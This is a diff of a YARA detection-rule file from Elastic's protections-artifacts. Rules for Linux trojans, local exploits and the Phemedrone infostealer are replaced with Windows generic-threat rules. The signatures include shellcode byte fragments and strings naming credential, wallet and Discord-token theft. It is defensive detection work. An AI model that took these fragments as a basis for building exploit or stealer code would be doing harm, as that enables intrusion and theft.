-		hash = "e677f1eed0dbb4c680549e0bf86d92b0a28a85c6d571417baaba0d0719da5f93"
-		logic_hash = "e92807b603dd33fe7a083985644a213913a77e81c068623fdac7931148207b91"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L182-L200"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "911535923a5451c10239e20e7130d371e8ee37172e0f14fc8cf224d41f7f4c0f"
+		logic_hash = "84c017abbce1c8702efbe8657e5a857ae222721b0db2260dc814652f4528df26"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8ef033ac0fccd10cdf2e66446461b7c8b29574e5869440a1972dbe4bb5fbed89"
-		severity = 100
+		fingerprint = "7cc33c6684318373e45f5e7440f0a416dd5833a56bc31eb8198a3c36b15dd25e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6D 6F 64 00 73 65 74 75 74 78 65 6E 74 00 67 6D 74 69 6D 65 00 }
+		$a1 = { 55 8B EC 81 EC 04 00 00 00 8B 5D 08 8B 1B 83 C3 04 89 5D FC 8B 45 0C 8B 5D FC 89 03 8B E5 5D C2 08 00 55 8B EC 81 EC 0C 00 00 00 C7 45 FC 00 00 00 00 68 00 00 00 00 BB C4 02 00 00 E8 0D 05 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_C3D529A2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_347F9F54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "c3d529a2-f2c7-41de-ba2a-2cbf2eb4222c"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "347f9f54-b9a6-4d40-9627-d3cef78f13eb"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L281-L299"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b46135ae52db6399b680e5c53f891d101228de5cd6c06b6ae115e4a763a5fb22"
-		logic_hash = "a508acd95844a4385943166f715606199048d96be0098bc89f9be7b9db34833e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L202-L220"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45a051651ce1edddd33ecef09bb0fbb978adec9044e64f786b13ed81cabf6a3f"
+		logic_hash = "63df388393a45ffec68ba01ae6d7707b6d5277e0162ded6e631c1f76ad76b711"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "72ef5b28489e01c3f2413b9a907cda544fc3f60e00451382e239b55ec982f187"
-		severity = 100
+		fingerprint = "860f951db43fa3389c5057f7329b5d13d9347b6e04e1363dd0a8060d5a131991"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 1C 31 C0 5B 5E 5F 5D C3 8B 1C 24 C3 8D 64 24 04 53 8B DA 5B }
+		$a1 = { 83 EC 10 FF 75 0C 80 65 FC 00 8D 45 F0 C6 45 F0 43 50 C6 45 F1 6F FF 75 08 C6 45 F2 6E C6 45 F3 6E C6 45 F4 65 C6 45 F5 63 C6 45 F6 74 C6 45 F7 47 C6 45 F8 72 C6 45 F9 6F C6 45 FA 75 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_4675Dffa : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_20469956 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4675dffa-0536-4a4d-bedb-f8c7fa076168"
-		date = "2023-07-28"
-		modified = "2024-02-13"
+		id = "20469956-1be6-48e8-b3c4-5706f9630971"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L301-L320"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "43e14c9713b1ca1f3a7f4bcb57dd3959d3a964be5121eb5aba312de41e2fb7a6"
-		logic_hash = "d2865a869d0cf0bf784106fe6242a4c7f58e58a43c4d4ae0241b10569810904d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L222-L240"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a1f2923f68f5963499a64bfd0affe0a729f5e7bd6bcccfb9bed1d62831a93c47"
+		logic_hash = "da351bec0039a32bb9de1d8623ab3dc26eb752d30a64e613de96f70e1b1c2463"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7aa556e481694679ce0065bcaaa4d35e2c2382326681f03202b68b1634db08ab"
-		severity = 100
+		fingerprint = "67cec754102e3675b4e72ff4826c40614e4856b9cbf12489de3406318990fc85"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = ", i = , not , val ./zzzz.local.onion"
-		$a2 = { 61 74 20 20 25 76 3D 25 76 2C 20 28 63 6F 6E 6E 29 20 28 73 63 61 6E 20 20 28 73 63 }
+		$a1 = { 83 E4 F8 83 EC 5C 53 56 33 C0 C7 44 24 18 6B 00 6C 00 57 8D 4C 24 1C C7 44 24 20 69 00 66 00 C7 44 24 24 2E 00 73 00 C7 44 24 28 79 00 73 00 66 89 44 24 2C C7 44 24 0C 6B 00 6C 00 C7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Infostealer_Phemedronestealer_Bed8Ea8A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_742E8A70 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Infostealer Phemedronestealer (Windows.Infostealer.PhemedroneStealer)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bed8ea8a-f2a3-4a51-ae57-4986da4d21aa"
-		date = "2024-03-21"
-		modified = "2024-05-08"
+		id = "742e8a70-c150-4903-a551-9123587dd473"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Infostealer_PhemedroneStealer.yar#L1-L30"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "38279fdad25c7972be9426cadb5ad5e3ee7e9761b0a41ed617945cb9a3713702"
-		logic_hash = "88fc33abfe6c7a611aa0c354645b06e9e74121ffc9a5acd20b4d3a59287489d6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L242-L260"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "94f7678be47651aa457256375f3e4d362ae681a9524388c97dc9ed34ba881090"
+		logic_hash = "2925eb8da80ef791b5cf7800a9bf9462203ab6aa743bc69f4fd2343e97eaab7c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "29702a2dc8b20c230ffef00dfff725133b707e35523e075ff85484a20da3c760"
-		severity = 100
+		fingerprint = "733b3563275da0a1b4781b9c0aa07e6e968133ae099eddef9cad3793334b9aa5"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "<KillDebuggers>b_"
-		$a2 = "<Key3Database>b_"
-		$a3 = "<IsVM>b_"
-		$a4 = "<ParseDatWallets>b_"
-		$a5 = "<ParseExtensions>b_"
-		$a6 = "<ParseDiscordTokens>b_"
-		$b1 = "Phemedrone.Senders"
-		$b2 = "Phemedrone.Protections"
-		$b3 = "Phemedrone.Extensions"
-		$b4 = "Phemedrone.Cryptography"
-		$b5 = "Phemedrone-Report.zip"
-		$b6 = "Phemedrone Stealer Report"
+		$a1 = { 55 8B EC E8 96 FF FF FF E8 85 0D 00 00 83 7D 08 00 A3 A4 E9 43 00 74 05 E8 0C 0D 00 00 DB E2 5D C3 8B FF 55 8B EC 83 3D B0 E9 43 00 02 74 05 E8 BA 12 00 00 FF 75 08 E8 07 11 00 00 68 FF 00 00 }
 
 	condition:
-		all of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_47C64Fb6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_79174B5C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "47c64fb6-cfa6-4350-a41f-870b87116b32"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "79174b5c-bc1d-40b2-b2e9-f3ddd3ba226c"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0caa9035027ff88788e6b8e43bfc012a367a12148be809555c025942054a6360"
-		logic_hash = "7d977edd5fc90c6f03ed5558c690b3dd2102bbff9d7e5124403276405e15201b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L262-L280"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c15118230059e85e7a6b65fe1c0ceee8997a3d4e9f1966c8340017a41e0c254c"
+		logic_hash = "06a2f0613719f1273a6b3f62f248c22b1cab2fe6054904619e3720f3f6c55e2e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aa286440061fb31167f314111dde7c2f596357b41fb6a5656216892fee6bf56e"
-		severity = 100
+		fingerprint = "1e709e5cb8302ea19f9ee93e88f7f910f4271cf1ea2a6c92946fa26f68c63f4d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F4 C6 00 FF 8B 45 F4 40 C6 00 25 8B 45 F4 83 C0 02 C7 00 08 00 }
+		$a1 = { 83 EC 48 56 57 6A 0F 33 C0 59 8D 7D B9 F3 AB 8B 75 0C 6A 38 66 AB 8B 4E 14 AA 8B 46 10 89 4D FC 89 45 F8 59 C1 E8 03 83 E0 3F C6 45 B8 80 3B C1 72 03 6A 78 59 2B C8 8D 45 B8 51 50 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_76C24B62 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_232B71A9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "76c24b62-e04f-410d-b7cb-668daa9aea20"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "232b71a9-add2-492d-8b9a-ad2881826ecf"
+		date = "2023-12-20"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "330de2ca1add7e06389d94dfc541c367a484394c51663b26d27d89346b08ad1b"
-		logic_hash = "ff55d6a316394812cfa1108578aece91050bfb2f7e0f8c0440dcb64156f3e893"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L282-L300"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1e8b34da2d675af96b34041d4e493e34139fc8779f806dbcf62a6c9c4d9980fe"
+		logic_hash = "c3bef1509c0d0172dbbc7e0e2b5c69e5ec47dc22365d98a914002b53b0f7d918"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "907cb776c9200b715c5b20475c2d4b16cb55c607dfb4b57bd3bd95368ce66257"
-		severity = 100
+		fingerprint = "908e2a968e544dfb08a6667f78c92df656c7f2c5cf329dbba6cfdb5ea7b51a57"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 00 31 DB 89 D8 B0 17 CD 80 31 C0 50 50 B0 }
+		$a1 = { 61 61 62 63 64 65 65 66 67 68 69 69 6A 6B 6C 6D 6E 6F 6F 70 71 72 73 74 75 75 76 77 78 79 7A 61 55 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_30C21B03 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D331D190 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "30c21b03-22fc-4ec8-8b65-084e98da8d8d"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "d331d190-2b66-499e-be08-fed81e5bb5f1"
+		date = "2023-12-20"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a09c81f185a4ceed134406fa7fefdfa7d8dfc10d639dd044c94fbb6d570fa029"
-		logic_hash = "396965c457b2e02d7d524d9d5fb3cc76852895ed9675c7b1205a94f47ba10144"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L302-L320"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6d869d320d977f83aa3f0e7719967c7e54c1bdae9ae3729668d755ee3397a96f"
+		logic_hash = "901601c892d709fa596c44df1fbe7772a9f20576c71666570713bf96727a809b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8112c4a9bce4b4c9407e851849a5850fa36591570694950a4b53e8a09a1dd92b"
-		severity = 100
+		fingerprint = "504c204dd82689bacf3875b9fd56a6a865426f3dc76de1d6d6e40c275b069d66"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 1B CD 80 31 DB 89 D8 B0 17 CD 80 31 C0 50 50 B0 }
+		$a1 = { 28 83 FA 03 74 04 85 D2 75 05 E8 EE 08 00 00 B8 01 00 00 00 48 83 C4 28 C3 CC CC CC CC 56 57 48 83 EC 38 48 89 CE 8B 01 FF C8 83 F8 05 77 12 48 98 48 8D 0D D1 49 00 00 48 63 3C 81 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_9Ace9649 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_24191082 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9ace9649-c74a-4b27-a147-d14123104c0a"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "24191082-58a7-4d1e-88d2-b4935ba5a868"
+		date = "2023-12-20"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b38869605521531153cfd8077f05e0d6b52dca0fffbc627a4d5eaa84855a491c"
-		logic_hash = "d7a60b0cb7fcbd9e802660bda3e0456f7f4ef9db38b6dab131c160efce48909e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L322-L340"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4d20878c16d2b401e76d8e7c288cf8ef5aa3c8d4865f440ee6b44d9f3d0cbf33"
+		logic_hash = "a5ea76032a9c189f923d91cd03deb44bd61868e5ad6081afe63249156cbd8927"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2e526d7ec47a30c7683725c2d2c3db0a8267630bb0f270599325d50227f6ae29"
-		severity = 100
+		fingerprint = "6bf991b391b79e897fe7964499e7e86b7b8fe4f40cf17abba85cb861e840e082"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 50 68 2F }
+		$a1 = { 55 8B EC 8B 45 0C 48 F7 D0 23 45 08 5D C3 55 8B EC 51 8B 45 0C 48 23 45 08 74 15 FF 75 0C FF 75 08 E8 DA FF FF FF 59 59 03 45 0C 89 45 FC EB 06 8B 45 08 89 45 FC 8B 45 FC 8B E5 5D C3 55 8B EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_705C9589 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Efdb9E81 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "705c9589-f735-45ef-8cf0-b99a05905a9f"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "efdb9e81-9004-426e-b599-331560b7f0ff"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "845727ea46491b46a665d4e1a3a9dbbe6cd0536d070f1c1efd533b91b75cdc88"
-		logic_hash = "9834d564c2acc688750d5e6c53db7c1201ef85c6fb3d1d0ea2425a5ba905ff18"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L342-L361"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1c3302b14324c9f4e07829f41cd767ec654db18ff330933c6544c46bd19e89dd"
+		logic_hash = "eae78b07f6c31e3a30ae041a27c67553bb8ea915bc7724583d78832475021955"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "d75edca622f0ab8a0b60c4ba5c1026c89d3613c0e101c5c12c03ee08cb7c576e"
-		severity = 100
+		fingerprint = "ce1499c8adaad552c127ae80dad90a39eb15e1e461afe3266e8cd6961d3fde79"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 51 53 8D 0C 24 31 C0 B0 0B CD 80 31 C0 B0 01 CD }
+		$a1 = { 4D 61 78 69 6D 75 6D 43 68 65 63 6B 42 6F 78 53 69 7A 65 }
+		$a2 = { 56 69 73 75 61 6C 50 6C 75 73 2E 4E 61 74 69 76 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_A677Fb9C : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_34622A35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a677fb9c-0271-4491-a7c7-48504b6ec389"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "34622a35-9ddf-4091-8b0c-c9430ecea57c"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d20b260c7485173264e3e674adc7563ea3891224a3dc98bdd342ebac4a1349e8"
-		logic_hash = "9b43e651f73d17dbd2143cec4c79929723689ce738924588e38c99a9554e5545"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L363-L381"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c021c6adca0ddf38563a13066a652e4d97726175983854674b8dae2f6e59c83f"
+		logic_hash = "2b49bd5d3a18307a46f44d9dfeea858ddaa6084f86f96b83b874cee7603e1c11"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b7916eefad806131b39af5f9bef27648e2444c9a9c95216b520d73e64fa734f0"
-		severity = 100
+		fingerprint = "427762237cd1040bad58e9d9f7ad36c09134d899c5105e977f94933827c5d5e0"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C0 89 45 EC 83 7D EC FF 75 1A 83 EC 0C 68 }
+		$a1 = { 55 8B EC 81 EC 88 00 00 00 C7 45 FC 00 00 00 00 C7 45 F8 00 00 00 00 68 4C 00 00 00 E8 A3 42 00 00 83 C4 04 89 45 F4 8B D8 8B F8 33 C0 B9 13 00 00 00 F3 AB 83 C3 38 53 68 10 00 00 00 E8 82 42 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_78E50162 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0Ff403Df : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "78e50162-8f1e-4c78-94fe-9b793b006269"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "0ff403df-cf94-43f3-b8b0-b94068f333f1"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "706c865257d5e1f5f434ae0f31e11dfc7e16423c4c639cb2763ec0f51bc73300"
-		logic_hash = "10a5bef486ec0ececfe0a9edfcad7ce053da2a97028cd1648aa27572fedd8ef6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L383-L401"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3119dc4cea05bef51d1f373b87d69bcff514f6575d4c92da4b1c557f8d8db8f"
+		logic_hash = "38bdd9b6f61ab4bb13abc7af94e92151928df95ade061756611218104e7245fd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a5771dad186d0c23d25efb7b22b11aa0a67148cf6efb9657b09ca6e160c192aa"
-		severity = 100
+		fingerprint = "3e16fe70b069579a146682d2bbeeeead63c432166b269a6d3464463ccd2bd2f8"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 90 90 90 31 C0 31 DB B0 17 CD 80 31 C0 B0 2E CD }
+		$a1 = { 55 8B EC 81 EC 00 02 00 00 56 8B F1 57 C6 85 00 FF 63 C7 06 0C 22 41 00 0C 66 69 B6 66 01 7C 06 02 77 03 96 66 69 B6 7B 14 04 F2 05 6B 06 69 96 66 69 6F 07 C5 08 30 66 69 96 66 09 01 0A 67 0B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_3B767A1F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B1F6F662 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3b767a1f-5844-4742-a5fd-ef8a3ddb6c12"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "b1f6f662-ea77-4049-a58a-ed8a97d7738e"
+		date = "2024-01-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Local.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e05fed9e514cccbdb775f295327d8f8838b73ad12f25e7bb0b9d607ff3d0511c"
-		logic_hash = "0f24a7d4e8ff0899430aa0a702000f35039b07400120b382b675825630f0ea4e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L403-L423"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b7eaef3cf1bb8021a00df092c829932cccac333990db1c5dac6558a5d906400"
+		logic_hash = "e52ff1eaee00334e1a07367bf88f3907bb0b13035717683d9d98371b92bc45c0"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "2bc0dc4de92306076cda6f2d069855b85861375c8b7eb5324f915a1ed10c39e5"
-		severity = 100
+		fingerprint = "f2cd22e34b4694f707ee9042805f5498ce66d35743950096271aaa170f44a2ee"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E3 50 53 89 E1 89 C2 B0 0B CD 80 89 C3 31 C0 40 }
+		$a1 = { 67 65 74 5F 4D 53 56 61 6C 75 65 31 30 }
+		$a2 = { 73 65 74 5F 4D 53 56 61 6C 75 65 31 30 }
+		$a3 = { 67 65 74 5F 4D 53 56 61 6C 75 65 31 31 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Local_2535C9B6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2C80562D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2535c9b6-a575-4190-8e33-88758675e5b4"
-		date = "2021-04-06"
